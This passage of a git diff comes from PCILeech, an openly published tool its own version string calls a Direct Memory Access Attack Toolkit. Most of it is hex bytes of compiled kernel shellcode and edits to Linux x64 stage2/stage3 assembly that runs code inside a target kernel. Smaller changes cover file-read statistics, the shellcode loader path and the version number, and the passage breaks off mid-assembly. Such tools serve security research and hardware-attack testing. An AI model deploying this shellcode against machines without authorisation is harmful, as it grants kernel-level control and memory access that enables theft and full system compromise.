0x48, 0x8b, 0xfa, 0x48, 0x85, 0xc9, 0x74, 0x51, 0x48, 0x83, 0xbb, 0xa0, 0x03, 0x00, 0x00, 0x00, + 0x74, 0x47, 0x48, 0x83, 0xbb, 0xb0, 0x03, 0x00, 0x00, 0x00, 0x74, 0x3d, 0x49, 0x83, 0xc8, 0xff, + 0x48, 0x8d, 0x54, 0x24, 0x40, 0xe8, 0x3d, 0xfb, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x2a, 0x48, + 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x8d, 0x50, 0x10, 0x48, 0x8b, 0x8b, 0xb0, 0x03, 0x00, 0x00, + 0x4c, 0x8b, 0xcf, 0x41, 0xb8, 0x00, 0x20, 0x00, 0x00, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xc4, 0x0c, + 0x00, 0x00, 0xe8, 0x10, 0xfb, 0xff, 0xff, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x48, + 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x51, 0x60, + 0x48, 0x83, 0x61, 0x60, 0x00, 0x48, 0x85, 0xd2, 0x74, 0x12, 0x48, 0x83, 0x79, 0x68, 0x00, 0x74, + 0x0b, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xe8, 0xd4, 0xfd, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x28, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x41, 0x54, 0x41, 0x56, 0x48, 0x83, 0xec, 0x50, 0x48, 0xb8, 0x77, 0x33, 0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0xc7, 0x41, 0x50, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, - 0x01, 0x48, 0x8b, 0xd9, 0xe8, 0x57, 0xff, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0e, 0xb8, 0x01, 0x00, - 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0xe1, 0x02, 0x00, 0x00, 0x48, 0x83, 0xbb, 0x78, 0x03, + 0x01, 0x48, 0x8b, 0xd9, 0xe8, 0xa7, 0xfe, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0e, 0xb8, 0x01, 0x00, + 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0xec, 0x02, 0x00, 0x00, 0x48, 0x83, 0xbb, 0x78, 0x03, 0x00, 0x00, 0x00, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x74, 0x1c, 0x48, 0x83, 0xbb, 0x80, 0x03, 0x00, 0x00, 0x00, 0x74, 0x12, 0x48, 0x83, 0xbb, 0x70, 0x03, 0x00, 0x00, 0x00, 0x74, 0x08, 0x41, - 0x8b, 0xfc, 0x41, 0x8b, 0xec, 0xeb, 0x04, 0x33, 0xff, 0x33, 0xed, 0x41, 0x8b, 0xd4, 0x48, 0x8b, - 0xcb, 0xe8, 0xd2, 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x02, - 0x00, 0x00, 0xf0, 0xeb, 0xad, 0x48, 0x8b, 0x53, 0x20, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0x0e, 0xfd, - 0xff, 0xff, 0x48, 0x89, 0x43, 0x28, 0x85, 0xff, 0x75, 0x17, 0x4c, 0x8b, 0x43, 0x18, 0x48, 0x8b, - 0xd0, 0x48, 0x8b, 0x8b, 0x10, 0x03, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0xe8, 0x9b, 0xfc, 0xff, - 0xff, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xe8, 0x8a, 0xfc, - 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x30, 0xe8, 0x7a, 0xfc, - 0xff, 0xff, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x34, 0x48, 0x8b, - 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x40, 0xe8, 0x5d, 0xfc, 0xff, 0xff, 0x48, - 0x8b, 0x44, 0x24, 0x30, 0x48, 0x83, 0xc0, 0x05, 0x48, 0x39, 0x44, 0x24, 0x40, 0x76, 0xc3, 0x48, - 0x8b, 0x8b, 0x00, 0x03, 0x00, 0x00, 0xba, 0x64, 0x00, 0x00, 0x00, 0xe8, 0x3c, 0xfc, 0xff, 0xff, - 0xeb, 0xb0, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x03, 0x0f, 0x84, - 0xc0, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x3c, 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, - 0x00, 0x48, 0x85, 0xc9, 0x74, 0x27, 0x48, 0x83, 0x63, 0x48, 0x00, 0x48, 0x8d, 0x05, 0xb2, 0xfc, - 0xff, 0xff, 0x4c, 0x8b, 0xcb, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0x83, 0xc8, 0xff, 0x33, 0xd2, - 0xe8, 0xf7, 0xfb, 0xff, 0xff, 0x33, 0xc9, 0x48, 0x85, 0xc0, 0x0f, 0x94, 0xc1, 0x48, 0x89, 0x4b, - 0x38, 0xe8, 0xdf, 0xfc, 0xff, 0xff, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x05, 0x75, 0x64, - 0x48, 0x85, 0xed, 0x74, 0x16, 0x48, 0x8b, 0x53, 0x28, 0x41, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x48, - 0x8b, 0x8b, 0x78, 0x03, 0x00, 0x00, 0xe8, 0xc1, 0xfb, 0xff, 0xff, 0x4c, 0x8d, 0x83, 0x20, 0x02, - 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0x53, 0x28, 0x4c, - 0x89, 0x63, 0x38, 0x48, 0x85, 0xed, 0x74, 0x2c, 0x48, 0x8b, 0x53, 0x28, 0x41, 0xb8, 0x80, 0x00, - 0x00, 0x00, 0x48, 0x8b, 0x8b, 0x70, 0x03, 0x00, 0x00, 0xe8, 0x8e, 0xfb, 0xff, 0xff, 0x48, 0x8b, - 0x53, 0x28, 0x41, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8b, 0x80, 0x03, 0x00, 0x00, 0xe8, - 0x78, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x49, 0x2b, 0xc4, 0x49, 0x3b, - 0xc4, 0x0f, 0x87, 0xa4, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8d, 0x05, 0x28, 0xfc, - 0xff, 0xff, 0x48, 0x8b, 0x53, 0x40, 0x4c, 0x8b, 0xcb, 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00, - 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0xc1, 0xea, 0x0c, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x3a, 0xfb, - 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x49, 0x3b, 0xc4, 0x74, 0x6c, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x85, - 0xc0, 0x75, 0x0b, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0x74, 0xfb, 0xff, 0xff, 0xeb, 0x10, 0x4c, 0x8b, - 0x43, 0x48, 0x48, 0x8b, 0x8b, 0x48, 0x03, 0x00, 0x00, 0xe8, 0x0e, 0xfb, 0xff, 0xff, 0x48, 0x8b, - 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x40, 0x4c, 0x39, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x8b, 0xc0, - 0x48, 0x8b, 0x53, 0x28, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, 0x0f, 0x45, 0xc2, 0x48, 0x8b, 0x8b, 0x20, - 0x03, 0x00, 0x00, 0x48, 0x0f, 0x45, 0xd0, 0xe8, 0xe0, 0xfa, 0xff, 0xff, 0x48, 0x85, 0xf6, 0x74, - 0x0f, 0x48, 0x8b, 0x8b, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd7, 0xe8, 0xcc, 0xfa, 0xff, 0xff, - 0x4c, 0x89, 0x63, 0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x83, 0xbb, 0xf8, 0x0f, - 0x00, 0x00, 0x06, 0x75, 0x1c, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x40, 0x48, 0x8b, 0x53, - 0x28, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0x9f, 0xfa, 0xff, 0xff, 0x4c, 0x89, 0x63, - 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x1c, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, - 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0x79, - 0xfa, 0xff, 0xff, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0xe9, - 0xcd, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0xf0, - 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0x48, 0x89, 0x43, 0x30, 0x49, 0x8b, 0xd6, 0xe8, 0x4a, 0xfa, - 0xff, 0xff, 0x48, 0x83, 0x63, 0x20, 0x00, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, - 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x38, 0x4c, 0x8d, 0x5c, 0x24, - 0x50, 0x49, 0x8b, 0x5b, 0x20, 0x49, 0x8b, 0x6b, 0x28, 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, - 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0xc3 + 0x8b, 0xfc, 0x45, 0x8b, 0xf4, 0xeb, 0x05, 0x33, 0xff, 0x45, 0x33, 0xf6, 0x48, 0x8b, 0xcb, 0xe8, + 0xfc, 0xfb, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0xb2, + 0x85, 0xff, 0x75, 0x18, 0x4c, 0x8b, 0x43, 0x18, 0x48, 0x8b, 0x53, 0x28, 0x48, 0x8b, 0x8b, 0x10, + 0x03, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0xe8, 0x2b, 0xfa, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x30, + 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xe8, 0x1a, 0xfa, 0xff, 0xff, 0x48, 0x8b, 0x8b, + 0x28, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x30, 0xe8, 0x0a, 0xfa, 0xff, 0xff, 0x48, 0x8b, 0x83, + 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x34, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, + 0x48, 0x8d, 0x54, 0x24, 0x40, 0xe8, 0xed, 0xf9, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, + 0x83, 0xc0, 0x05, 0x48, 0x39, 0x44, 0x24, 0x40, 0x76, 0xc3, 0x48, 0x8b, 0x8b, 0x00, 0x03, 0x00, + 0x00, 0xba, 0x64, 0x00, 0x00, 0x00, 0xe8, 0xcc, 0xf9, 0xff, 0xff, 0xeb, 0xb0, 0x48, 0xc7, 0x43, + 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x03, 0x0f, 0x84, 0xf7, 0x01, 0x00, 0x00, 0x48, + 0x83, 0xf8, 0x04, 0x75, 0x57, 0x48, 0x83, 0x7b, 0x60, 0x00, 0x74, 0x0f, 0x48, 0x83, 0x7b, 0x68, + 0x00, 0x74, 0x08, 0x48, 0x8b, 0xcb, 0xe8, 0x9d, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x38, 0x03, + 0x00, 0x00, 0x48, 0x8d, 0x7b, 0x38, 0x48, 0x85, 0xc9, 0x74, 0x27, 0x48, 0x83, 0x63, 0x48, 0x00, + 0x48, 0x8d, 0x05, 0x28, 0xfa, 0xff, 0xff, 0x4c, 0x8b, 0xcb, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, + 0x83, 0xc8, 0xff, 0x33, 0xd2, 0xe8, 0x6d, 0xf9, 0xff, 0xff, 0x33, 0xc9, 0x48, 0x85, 0xc0, 0x0f, + 0x94, 0xc1, 0x48, 0x89, 0x0f, 0xe8, 0x56, 0xfa, 0xff, 0xff, 0xeb, 0x04, 0x48, 0x8d, 0x7b, 0x38, + 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x05, 0x75, 0x6f, 0x4d, 0x85, 0xf6, 0x74, 0x1c, 0x48, + 0x8b, 0x53, 0x28, 0x41, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8b, 0x78, 0x03, 0x00, 0x00, + 0xe8, 0x32, 0xf9, 0xff, 0xff, 0x48, 0x8d, 0x73, 0x38, 0xeb, 0x03, 0x48, 0x8b, 0xf7, 0x4c, 0x8d, + 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, + 0x53, 0x28, 0x4c, 0x89, 0x27, 0x48, 0x8b, 0xfe, 0x4d, 0x85, 0xf6, 0x74, 0x2c, 0x48, 0x8b, 0x53, + 0x28, 0x41, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8b, 0x70, 0x03, 0x00, 0x00, 0xe8, 0xf4, + 0xf8, 0xff, 0xff, 0x48, 0x8b, 0x53, 0x28, 0x41, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8b, + 0x80, 0x03, 0x00, 0x00, 0xe8, 0xde, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, + 0x49, 0x3b, 0xc4, 0x74, 0x0a, 0x48, 0x83, 0xf8, 0x02, 0x0f, 0x85, 0xb0, 0x00, 0x00, 0x00, 0x4c, + 0x8b, 0x43, 0x48, 0x48, 0x8d, 0x05, 0x8b, 0xf9, 0xff, 0xff, 0x48, 0x8b, 0x53, 0x40, 0x4c, 0x8b, + 0xcb, 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0xc1, 0xea, 0x0c, + 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x9d, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0xe8, 0x49, 0x3b, 0xc4, + 0x75, 0x06, 0x48, 0x83, 0x27, 0x00, 0xeb, 0x77, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x85, 0xed, 0x75, + 0x0b, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0xd1, 0xf8, 0xff, 0xff, 0xeb, 0x10, 0x4c, 0x8b, 0x43, 0x48, + 0x48, 0x8b, 0x8b, 0x48, 0x03, 0x00, 0x00, 0xe8, 0x6b, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, + 0x85, 0xc0, 0x74, 0x43, 0x4c, 0x39, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x8b, 0xc0, 0x48, 0x8b, + 0x53, 0x28, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, 0x0f, 0x45, 0xc2, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, + 0x00, 0x48, 0x0f, 0x45, 0xd0, 0xe8, 0x3d, 0xf8, 0xff, 0xff, 0x48, 0x85, 0xed, 0x74, 0x0f, 0x48, + 0x8b, 0x8b, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd6, 0xe8, 0x29, 0xf8, 0xff, 0xff, 0x48, 0x8d, + 0x7b, 0x38, 0x4c, 0x89, 0x27, 0xeb, 0x08, 0x48, 0x83, 0x27, 0x00, 0x48, 0x8d, 0x7b, 0x38, 0x48, + 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06, 0x75, 0x1b, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, 0x8b, 0x43, + 0x40, 0x48, 0x8b, 0x53, 0x28, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0xf6, 0xf7, 0xff, + 0xff, 0x4c, 0x89, 0x27, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x1b, 0x4c, 0x8b, + 0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, + 0x00, 0xe8, 0xd1, 0xf7, 0xff, 0xff, 0x4c, 0x89, 0x27, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, + 0x00, 0xe9, 0x96, 0xfd, 0xff, 0xff, 0xb8, 0x00, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0xcb, 0x48, 0x89, + 0x43, 0x30, 0xe8, 0x81, 0xfa, 0xff, 0xff, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f, + 0x00, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x38, 0x4c, 0x8d, 0x5c, 0x24, 0x50, 0x49, 0x8b, 0x5b, 0x20, + 0x49, 0x8b, 0x6b, 0x28, 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x41, 0x5c, 0x5f, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, + 0x64, 0x24, 0x38, 0x00, 0x48, 0x8b, 0xd9, 0xe8, 0x74, 0xfb, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x84, + 0xda, 0x00, 0x00, 0x00, 0x48, 0x83, 0xbb, 0x78, 0x03, 0x00, 0x00, 0x00, 0x74, 0x18, 0x48, 0x83, + 0xbb, 0x80, 0x03, 0x00, 0x00, 0x00, 0x74, 0x0e, 0x48, 0x83, 0xbb, 0x70, 0x03, 0x00, 0x00, 0x00, + 0x0f, 0x85, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x38, 0x48, 0x8b, 0xcb, 0xe8, 0xb1, + 0xfb, 0xff, 0xff, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x9f, 0x00, 0x00, 0x00, 0x48, + 0x83, 0x7c, 0x24, 0x38, 0x00, 0x0f, 0x84, 0x93, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd3, 0x48, 0x8b, + 0xc8, 0x48, 0x2b, 0xd0, 0x41, 0xb8, 0x00, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x04, 0x0a, 0x48, 0x89, + 0x01, 0x48, 0x8d, 0x49, 0x08, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xef, 0x48, 0x8b, 0x8b, 0x78, 0x03, + 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x12, 0x4c, 0x39, 0x83, 0x80, 0x03, 0x00, 0x00, 0x74, 0x09, + 0x4c, 0x39, 0x83, 0x70, 0x03, 0x00, 0x00, 0x75, 0x07, 0x48, 0x8b, 0x8b, 0x10, 0x03, 0x00, 0x00, + 0x48, 0x8d, 0x97, 0x00, 0x10, 0x00, 0x00, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xe8, 0xc5, 0xf6, + 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, + 0xff, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0x48, 0x0b, 0xc1, 0x48, 0x89, 0x43, 0x50, + 0x48, 0x2b, 0xfb, 0x48, 0xb8, 0x77, 0x33, 0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0x89, 0x03, + 0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0x48, 0x8b, 0xc7, 0xeb, 0x02, 0x33, 0xc0, + 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3 }; const BYTE LINUX_X64_STAGE2_EFI_BIN[] = { diff --git a/pcileech/statistics.c b/pcileech/statistics.c index 1cf5825..585d62e 100644 --- a/pcileech/statistics.c +++ b/pcileech/statistics.c @@ -63,7 +63,22 @@ VOID _PageStatShowUpdate(_Inout_ PPAGE_STATISTICS ps) if(ps->i.fMemMap) { _PageStatPrintMemMap(ps); } - if(ps->cPageTotal < 0x0000000fffffffff) { + if(ps->File.fFileRead) { + printf( + " Current Action: %s \n" \ + " Access Mode: %s \n" \ + " Speed: %llu %s \n" \ + " Start offset: 0x%016llX (%llu) \n" \ + " Current offset: 0x%016llX (%llu) \n" \ + " \n" \ + " \n", + ps->szAction, + ps->fKMD ? "KMD (kernel module assisted DMA)" : "Normal ", + (isMBs ? qwSpeed >> 10 : qwSpeed), + (isMBs ? "MB/s" : "kB/s"), + ps->File.qwBaseOffset, ps->File.qwBaseOffset, + ps->File.qwCurrentOffset, ps->File.qwCurrentOffset); + } else if(ps->cPageTotal < 0x0000000fffffffff) { printf( " Current Action: %s \n" \ " Access Mode: %s \n" \ diff --git a/pcileech/statistics.h b/pcileech/statistics.h index 47dca07..446c1de 100644 --- a/pcileech/statistics.h +++ b/pcileech/statistics.h @@ -32,6 +32,11 @@ typedef struct tdPAGE_STATISTICS { QWORD cPageSuccess; QWORD cPageFail; BOOL fKMD; + struct { + BOOL fFileRead; + QWORD qwBaseOffset; + QWORD qwCurrentOffset; + } File; LPSTR szAction; STATISTICS_INTERNAL i; } PAGE_STATISTICS, *PPAGE_STATISTICS; diff --git a/pcileech/util.c b/pcileech/util.c index 2bf76f1..edcb7d1 100644 --- a/pcileech/util.c +++ b/pcileech/util.c @@ -1,6 +1,6 @@ // util.c : implementation of various utility functions. // -// (c) Ulf Frisk, 2016-2022 +// (c) Ulf Frisk, 2016-2024 // Author: Ulf Frisk, pcileech@frizk.net // #include "pcileech.h" @@ -362,6 +362,7 @@ BOOL Util_ParseHexFileBuiltin(_In_ LPSTR sz, _Out_writes_(*pcb) PBYTE pb, _In_ D SIZE_T i; FILE *pFile; BOOL result; + CHAR szPathFile[MAX_PATH] = { 0 }; // 1: try load default if(0 == memcmp("DEFAULT", sz, 7)) { for(i = 0; i < (sizeof(SHELLCODE_DEFAULT) / sizeof(SHELLCODE_DEFAULT_STRUCT)); i++) { @@ -377,14 +378,15 @@ BOOL Util_ParseHexFileBuiltin(_In_ LPSTR sz, _Out_writes_(*pcb) PBYTE pb, _In_ D if(Util_HexAsciiToBinary(sz, pb, cb, pcb)) { return TRUE; } + *pcb = 0; if(0 == memcmp("-", sz, 2)) { - *pcb = 0; return TRUE; } // 3: try load file i = strnlen_s(sz, MAX_PATH); if(i > 4 && i < MAX_PATH) { // try to load from file - if(fopen_s(&pFile, sz, "rb") || !pFile) { return FALSE; } + Util_GetFileInDirectory(szPathFile, sz); + if(fopen_s(&pFile, szPathFile, "rb") || !pFile) { return FALSE; } *pcb = (DWORD)fread(pb, 1, cb, pFile); result = (0 != feof(pFile)); fclose(pFile); diff --git a/pcileech/version.h b/pcileech/version.h index 96e17ed..d57ff6d 100644 --- a/pcileech/version.h +++ b/pcileech/version.h @@ -3,8 +3,8 @@ #define VERSION_MAJOR 4 #define VERSION_MINOR 18 -#define VERSION_REVISION 1 -#define VERSION_BUILD 51 +#define VERSION_REVISION 3 +#define VERSION_BUILD 53 #define VER_FILE_DESCRIPTION_STR "The PCILeech Direct Memory Access Attack Toolkit" #define VER_FILE_VERSION VERSION_MAJOR, VERSION_MINOR, VERSION_REVISION, VERSION_BUILD diff --git a/pcileech_shellcode/info_kmd_core.txt b/pcileech_shellcode/info_kmd_core.txt index 6211008..7a36e49 100644 --- a/pcileech_shellcode/info_kmd_core.txt +++ b/pcileech_shellcode/info_kmd_core.txt @@ -59,7 +59,7 @@ shellcode64.exe -o wx64_stage1.exe # COMPILE ASM TO EXE ml64 lx64_stage2.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main # -# EXTRACT SHELLCODE (shellcode saved as lx64_stage2.bin, c-ify by xxd -i lx64_stage2.bin) +# EXTRACT SHELLCODE (shellcode saved as lx64_stage2.bin, c-ify by xxd -c 16 -i lx64_stage2.bin) shellcode64.exe -o lx64_stage2.exe # #=============== STAGE 3 =============== @@ -70,7 +70,7 @@ cl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_s # COMPILE ASM AND LINK C OBJ FILE TO EXE ml64 lx64_stage3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "lx64_stage3_c.obj" # -# EXTRACT SHELLCODE (shellcode saved as lx64_stage3.bin, c-ify by xxd -i lx64_stage3.bin) +# EXTRACT SHELLCODE (shellcode saved as lx64_stage3.bin, c-ify by xxd -c 16 -i lx64_stage3.bin) shellcode64.exe -o lx64_stage3.exe # #======================================== macOS ======================================== diff --git a/pcileech_shellcode/lx64_stage2.asm b/pcileech_shellcode/lx64_stage2.asm index 4cf38a3..96c38f9 100644 --- a/pcileech_shellcode/lx64_stage2.asm +++ b/pcileech_shellcode/lx64_stage2.asm @@ -1,7 +1,7 @@ ; lx64_stage2.asm : assembly to receive execution from stage1 shellcode. ; Compatible with Linux x64. ; -; (c) Ulf Frisk, 2016, 2017 +; (c) Ulf Frisk, 2016-2024 ; Author: Ulf Frisk, pcileech@frizk.net ; @@ -64,7 +64,7 @@ main PROC PUSH r15 MOV r15, rsp AND rsp, 0FFFFFFFFFFFFFFF0h - SUB rsp, 020h + SUB rsp, 040h LEA r14, main_pre_start MOV eax, [data_offset_kallsyms_lookup_name] ADD r14, rax @@ -105,9 +105,10 @@ setup PROC TEST rax, rax JZ error alloc_pages_ok: - MOV rdi, 14h - MOV rsi, 2h + MOV rdi, 0cc4h + MOV rsi, 1h CALL rax + MOV [rsp+30h], rax TEST rax, rax JZ error ; ---------------------------------------------------- @@ -185,8 +186,10 @@ setup PROC ; 5: START THREAD ; ---------------------------------------------------- thread_start: - MOV [r12+58h], rax ; KMDDATA.ReservedKMD + MOV [r12+58h], rax ; KMDDATA.ReservedKMD[0] (task_struct*) MOV [r12+10h], r14 ; KMDDATA.AddrKallsymsLookupName + MOV rax, [rsp+30h] + MOV [r12+60h], rax ; KMDDATA.ReservedKMD[1] (page*) LEA rdi, str_wake_up_process CALL r14 TEST rax, rax diff --git a/pcileech_shellcode/lx64_stage3.asm b/pcileech_shellcode/lx64_stage3.asm index 4b9ebd5..93640c6 100644 --- a/pcileech_shellcode/lx64_stage3.asm +++ b/pcileech_shellcode/lx64_stage3.asm @@ -1,17 +1,19 @@ ; lx64_stage3.asm : assembly to receive execution from stage2 shellcode. ; Compatible with Linux x64. ; -; (c) Ulf Frisk, 2016, 2017 +; (c) Ulf Frisk, 2016-2024 ; Author: Ulf Frisk, pcileech@frizk.net ; EXTRN stage3_c_EntryPoint:NEAR +EXTRN stage3_c_TryMigrateEntryPoint:NEAR .CODE main PROC ; ---------------------------------------------------- ; 1: SAME INITIAL BYTE SEQUENCE AS lx64_stage3_pre.asm + ; r15: storage for store old stack ptr (rsp) ; ---------------------------------------------------- label_main_base: JMP label_main_loop @@ -28,19 +30,52 @@ main PROC CMP rax, 0 JZ label_main_loop ; ---------------------------------------------------- - ; 2: CALL C CODE + ; 2: SAVE STACK PTR & SET UP STACK ; ---------------------------------------------------- - LEA rcx, label_main_base - 1000h ; address of data page in parameter 1 + PUSH rbx + PUSH rbp + PUSH r11 + PUSH r12 + PUSH r14 PUSH r15 MOV r15, rsp AND rsp, 0FFFFFFFFFFFFFFF0h SUB rsp, 020h + ; ---------------------------------------------------- + ; 3: CALL C CODE: MIGRATE FROM 'alloc_pages' TO 'dma_alloc_coherent' (IF POSSIBLE)) + ; ---------------------------------------------------- + LEA rcx, label_main_base - 1000h ; address of data page (KMDDATA) in parameter 1 + CALL stage3_c_TryMigrateEntryPoint + WBINVD + TEST rax, rax + JZ migrate_fail_continue + + ; success - migrate execution to new buffer + LEA rdx, migrate_execute_continue + ADD rax, rdx + JMP rax + ; execution migrated + 